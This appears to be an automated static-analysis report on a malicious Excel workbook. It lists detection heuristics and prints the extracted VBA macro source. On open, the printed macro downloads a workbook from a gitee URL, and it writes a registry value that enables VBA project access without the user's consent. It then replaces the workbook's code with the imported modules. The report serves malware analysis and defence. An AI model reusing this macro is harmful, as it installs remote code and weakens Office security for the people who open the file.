Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 10962523d58f57ee…

MALICIOUS

Office (OLE) / .XLS

1.58 MB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2026-06-14
MD5: 6f04271a238e02f7d77144bb32033a27 SHA-1: 0312f42bab0c6458e20248a3563e983bf5157ad8 SHA-256: 10962523d58f57eec738cc74e251ef246343024466e48c9e095cc7b447f00900
558 Risk Score

Heuristics 14

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 10 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
                    savePath = CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\校验工具_最新版.xlsm"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
                    savePath = CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\校验工具_最新版.xlsm"
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            S.write H.Responsebody '写入取得的内容；
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                    savePath = CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\校验工具_最新版.xlsm"
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set codeBook = GetObject(sourceWorkbook)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        verPath = Environ("TEMP") & "\" & urlName
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://gitee.com/zhanggm3/sharing/raw/master/testme.xlsm Referenced by macro
    • https://gitee.com/zhanggm3/sharing/raw/master/ver.txtReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13480 bytes
SHA-256: cef5305e938f5acd0f80e4e723c6dcb818345860c02d86e911c72f63e35d2b0c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'////////////////////////////////////////////////////
'本程序由 扬州服务部创享工作室 提供;
'以下为程序自动升级模块;
'欢迎交流 18994871600
'////////////////////////////////////////////////////
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long '申明API；
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long '申明API；
#End If


Private Sub Workbook_Open()
    Dim sorceUrl, aid
    sourceUrl = "https://gitee.com/zhanggm3/sharing/raw/master/testme.xlsm" ' 在这里输入代码压缩包的链接地址；
    verUrl = "https://gitee.com/zhanggm3/sharing/raw/master/ver.txt"
    Call CheckVersion(sourceUrl, verUrl)
    '设置校验快捷方式；
    If Err.Number = 0 Then
        On Error Resume Next
        Application.OnKey "^j", "check"
        Application.WindowState = xlMaximized
        ActiveWindow.WindowState = xlMaximized
        MsgBox "数据填写完毕后，请按【Ctrl + j】 或点击 D1单元格 按钮检查校验，直到错误提示为0，谢谢！", , "操作提示！"
    End If
End Sub


Private Sub CheckVersion(sourceUrl, verUrl)
    Dim var As Integer
    Dim LastVer, UpdateVer As Double
    LastVer = Val(ThisWorkbook.Sheets("辅助").Cells(3, 4).Value)
    Debug.Print LastVer
    UpdateVer = Val(get_remote_ver(verUrl))
    Debug.Print UpdateVer
    If LastVer < UpdateVer Then
        Call OpenVBOM
        var = MsgBox("发现程序有更新，是否现在升级？" & Chr(13) & "为保证校验规则完整性和业务处理效率，请务必及时更新。", 1, "更新代码")
        Debug.Print "AccessVBOM开启成功"
        If var = 1 Then
            Call updateCode(sourceUrl) '更新程序；
            ThisWorkbook.Save
            LastVer = Val(ThisWorkbook.Sheets("辅助").Cells(3, 4).Value)
            If LastVer = UpdateVer And Err.Number = 0 Then
                MsgBox "程序更新成功！", , "恭喜："
            ElseIf Err.Number = 1004 Then
                ThisWorkbook.Worksheets("企业提报数据").Columns("A:Z").Delete Shift:=xlToLeft
                ActiveSheet.Shapes.Range(Array("button")).Delete
                MsgBox "程序更新失败！解决方法如下：" & Chr(13) & "Office2016 或 Offic2019 用户，请在" & Chr(13) & "【文件】→【选项】→【信任中心】→【信任中心设置】→【宏设置】" & Chr(13) & "勾选【信任对VBA工程对象模型的访问】" & Chr(13) & "点击 【确定】→【确定】→【保存】。然后关闭再打开本文件。" & Chr(13) & "其它版本Office解决方法请自行百度”", vbExclamation, "更新失败！"
            Else
                savePath = CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\校验工具_最新版.xlsm"
'                URLDownloadToFile 0, sourceUrl, savePath, 0, 0 '下载ver文件；
                Call Get_Remote_File(sourceUrl, savePath)
                MsgBox "更新失败，程序已经为您下载了最新版校验程序 【校验工具_最新版.xlsm】在您桌面上。" & Chr(13) & "请手动打开，复制数据到新版程序进行校验。" & Chr(13) & "老版本请删除停用。给您带来不便非常抱歉。", , "提醒"
            End If
        End If
    End If
End Sub


Private Function get_remote_ver(verUrl)
    urlSplit = Split(verUrl, "/")
    urlName = urlSplit(UBound(urlSplit))
    verPath = Environ("TEMP") & "\" & urlName
'    URLDownloadToFile 0, verUrl, verPath, 0, 0 '下载ver文件；
    Call Get_Remote_File(verUrl, verPath)
    Dim MyChar
    Open verPath For Input As #1
    Do While Not EOF(1) ' 循环至文件尾；
        MyChar = MyChar & Input(1, #1) ' 读入一个字符 'Debug.Print MyChar ' 显示到立即窗口；
    Loop
    Close #1
    get_remote_ver = MyChar
End Function


Private Sub updateCode(sourceUrl)

    Dim updateSource, sourceWorkbook, codeBook
    '下载远程模板文件；
    urlSplit = Split(sourceUrl, "/")
    urlName = urlSplit(UBound(urlSplit)) '提取url里面的文件名；
    sourceWorkbook = Environ("TEMP") & "\" & urlName

'    URLDownloadToFile 0, sourceUrl, sourceWorkbook, 0, 0 '获取远程模板；
    Call Get_Remote_File(sourceUrl, sourceWorkbook)
    
    If Dir$(sourceWorkbook, 7) = "" Then
        MsgBox "自动更新失败！粘贴以下地址到浏览器地址栏回车手动下载最新版。" & Chr(13) & sourceUrl & Chr(13) & "选中对话框，按【Ctrl + c】可复制包含地址的对话框所有内容。", , "提醒"
        Exit Sub
    ElseIf DateDiff("s", FileDateTime(sourceWorkbook), Now()) > 10 Then
        MsgBox "自动更新失败！粘贴以下地址到浏览器地址栏回车手动下载最新版。" & Chr(13) & sourceUrl & Chr(13) & "选中对话框，按【Ctrl + c】可复制包含地址的对话框所有内容。", , "提醒"
        Exit Sub
    End If

    On Error Resume Next
    currentsh = ActiveSheet.Name '先记录当前sheet名；
    Application.DisplayAlerts = False
    Application.EnableEvents = False
    Set codeBook = GetObject(sourceWorkbook)

    Dim oVC As VBComponent
    '先把本地文件所有组件全部删除；
    For Each oVC In ThisWorkbook.VBProject.VBComponents
        If oVC.Type = vbext_ct_MSForm Or oVC.Type = vbext_ct_StdModule Or oVC.Type = vbext_ct_ClassModule Or oVC.Type = vbext_ct_ActiveXDesigner Then
            ThisWorkbook.VBProject.VBComponents.Remove ThisWorkbook.VBProject.VBComponents(oVC.Name)
        End If
    Next

    '再导出远程文件所有模块；
    Dim strExportFolderPath As String
    Dim oVBComp As VBComponent
    Dim strExtName As String

    Set zd = CreateObject("scripting.dictionary")

    For Each oVBComp In codeBook.VBProject.VBComponents
        If Not zd.exists(oVBComp.Name) Then
            Select Case oVBComp.Type
                Case vbext_ct_StdModule 'case 1
                    zd(oVBComp.Name) = oVBComp.Name & ".bas"
                Case vbext_ct_ClassModule 'case 2
                    zd(oVBComp.Name) = oVBComp.Name & ".cls"
                Case vbext_ct_MSForm 'case 3
                    zd(oVBComp.Name) = oVBComp.Name & ".frm"
            End Select
        End If
    Next oVBComp
    
    Set oVBProj = codeBook.VBProject
    zdkeys = zd.keys
    For i = 0 To zd.Count - 1
        strVBCompName = zdkeys(i)
        vbcCompPath = Environ("TEMP") & "\" & zd(strVBCompName)
        oVBProj.VBComponents(strVBCompName).Export vbcCompPath   '导出模块；
    Next i

    Dim sht As Worksheet
    
    '更改所有sheet为可见；
    For i = 1 To ThisWorkbook.Sheets.Count
        If ThisWorkbook.Sheets(i).Visible = 2 Then
            ThisWorkbook.Sheets(i).Visible = -1
        End If
    Next
    '删除所有sheet页
    For Each sht In ThisWorkbook.Sheets
        If sht.Name <> currentsh Then
            sht.Delete
        End If
    Next
    
    Application.ScreenUpdating = False
    Set dic = CreateObject("scripting.dictionary") '设置字典，记录各个表单可见性；
    For i = 1 To codeBook.Sheets.Count
        dic(codeBook.Sheets(i).Name) = codeBook.Sheets(i).Visible
        If codeBook.Sheets(i).Visible = 2 Then
            codeBook.Sheets(i).Visible = -1 '如果表单为隐藏，则设置表单可见；
            If codeBook.Sheets(i).Name <> currentsh Then
                codeBook.Sheets(i).Copy After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count)
            End If
        Else
            If codeBook.Sheets(i).Name <> currentsh Then
                codeBook.Sheets(i).Copy After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count)
            End If
        End If
    Next
    Application.ScreenUpdating = True

    ThisWorkbook.Sheets(currentsh).Select
    
    codeBook.Close False
    Set codeBook = Nothing
    Application.EnableEvents = True
    Kill sourceWorkbook
    
    For i = 0 To zd.Count - 1
        strVBCompName = zdkeys(i)
        vbcCompPath = Environ("TEMP") & "\" & zd(strVBCompName)
        ThisWorkbook.Application.VBE.ActiveVBProject.VBComponents.Import vbcCompPath '导入模块；
    Next i
    
    For Each sht In ThisWorkbook.Sheets '设置Sheet可见性和远程文件一致；
        sht.Visible = dic(sht.Name)
    Next
    
    If Err.Number = 1004 Then
        ThisWorkbook.Sheets("辅助").Cells(3, 4).Value = 0
    End If
    
End Sub


Private Sub Workbook_SheetActivate(ByVal Sh As Object)
    Application.DisplayAlerts = False
    Application.EnableEvents = False
    For Each Sh In ActiveWorkbook.Worksheets
        Select Case Sh.Name
        Case "企业提报数据", "辅助"
        Case Else
        Sheets(Sh.Name).Delete
        MsgBox "不支持创建新表单", , "提示"
        End Select
    Next
    Application.EnableEvents = True
End Sub

Private Sub OpenVBOM() '信任对VBA工程对象模型的访问
    Dim oWshell
    Set oWshell = CreateObject("WScript.Shell")
    oWshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\AccessVBOM", 1, "REG_DWORD"  '信任对 VBA 项目的访问
    With Application
        .SendKeys "~"
        .CommandBars.FindControl(ID:=3627).Execute
    End With
End Sub


Private Sub Get_Remote_File(sourceUrl, savePath)

    On Error Resume Next
       
    URLDownloadToFile 0, sourceUrl, savePath, 0, 0 '下载ver文件；
    
    If Dir$(savePath, 7) = "" Then
    
        Err.Clear
        Dim H, S
        Set H = CreateObject("Microsoft.XMLHTTP")
        H.Open "GET", sourceUrl, False   '文件网址；
        H.send
        Set S = CreateObject("ADODB.Stream")
        S.Type = 1 '二进制；
        S.Open
        S.write H.Responsebody '写入取得的内容；
        S.savetofile savePath, 2  '保存文档；
        S.Close
        If Err.Number <> 0 Then
            Err.Clear
            Dim bt() As Byte '建立数组 Dim H As Object；
            Set H = CreateObject("Microsoft.XMLHTTP")
            H.Open "GET", sourceUrl, False
            H.send
            If H.Status = 200 Then '没有超时；
                bt = H.Responsebody
                Open savePath For Binary As #1 '建立二进制文件；
                Put 1, , bt '写入文件；
                Close #1
            End If
        End If
    
     ElseIf DateDiff("s", FileDateTime(savePath), Now()) > 10 Then
     
        Err.Clear
        Set H = CreateObject("Microsoft.XMLHTTP")
        H.Open "GET", sourceUrl, False   '文件网址；
        H.send
        Set S = CreateObject("ADODB.Stream")
        S.Type = 1 '二进制；
        S.Open
        S.write H.Responsebody '写入取得的内容；
        S.savetofile savePath, 2  '保存文档；
        S.Close
        If Err.Number <> 0 Then
            Err.Clear
            Set H = CreateObject("Microsoft.XMLHTTP")
            H.Open "GET", sourceUrl, False
            H.send
            If H.Status = 200 Then '没有超时；
                bt = H.Responsebody
                Open savePath For Binary As #1 '建立二进制文件；
                Put 1, , bt '写入文件；
                Close #1
            End If
        End If
            
    End If

End Sub


Attribute VB_Name = "Sheet7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Public ii, TR
Private Sub button_Click()

Columns("D:D").ColumnWidth = 32
button.Top = Range("D1").Top
button.Width = 100
button.Height = Range("D1").Height
button.Left = Range("D1").Left + Range("D1").Width - 100


'Application.Run "check"
'ii = 0

Call check

'If ii = 0 Then
'    MsgBox "恭喜，没有发现错误！"
'Else
'    MsgBox "您有 " & ii & " 处错误需要更正，请修改之后再保存关闭！"
'End If


End Sub

Sub SBSBSB():
    strNo = ThisWorkbook.Sheets("辅助").Cells(3, 4).Value
    verNo = InputBox("当前版本号是：" & strNo, "请输入新的版本号")
     ThisWorkbook.Sheets("辅助").Cells(3, 4) = verNo
     MsgBox "修改后的版本号是：" & ThisWorkbook.Sheets("辅助").Cells(3, 4).Value, , "提示"
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.